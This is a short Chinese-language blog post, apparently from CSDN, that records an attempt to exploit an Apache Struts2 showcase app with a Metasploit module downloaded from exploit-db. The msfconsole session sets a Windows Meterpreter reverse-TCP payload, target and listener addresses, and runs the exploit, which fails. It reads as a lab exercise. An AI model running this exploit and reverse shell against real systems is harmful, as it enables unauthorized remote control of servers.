0x01:环境
PentestBox2.2
下载Exploit
https://www.exploit-db.com/exploits/31433/
加载到metasploit-framework.bak\modules\exploits\multi\http\struts
0x02:
msf exploit(41614) > use exploit/multi/http/struts/41614
msf exploit(41614) > set payload windows/meterpreter/reverse_tcp
msf exploit(41614) > show options
msf exploit(41614) > set rhost 10.160.11.192
msf exploit(41614) > set targeturi /struts2-5-showcase/
msf exploit(41614) > set lhost 10.160.14.122
msf exploit(41614) > show options
msf exploit(41614) > run
[*] Started reverse TCP handler on 10.160.14.122:4444
[-] Exploit failed: Errno::ECONNRESET An existing connection was forcibly closed by the remote host.
[*] Exploit completed, but no session was created.
msf exploit(41614) >
执行失败?
来源:CSDN
作者:四盘山
链接:https://blog.csdn.net/cwtv123/article/details/77775112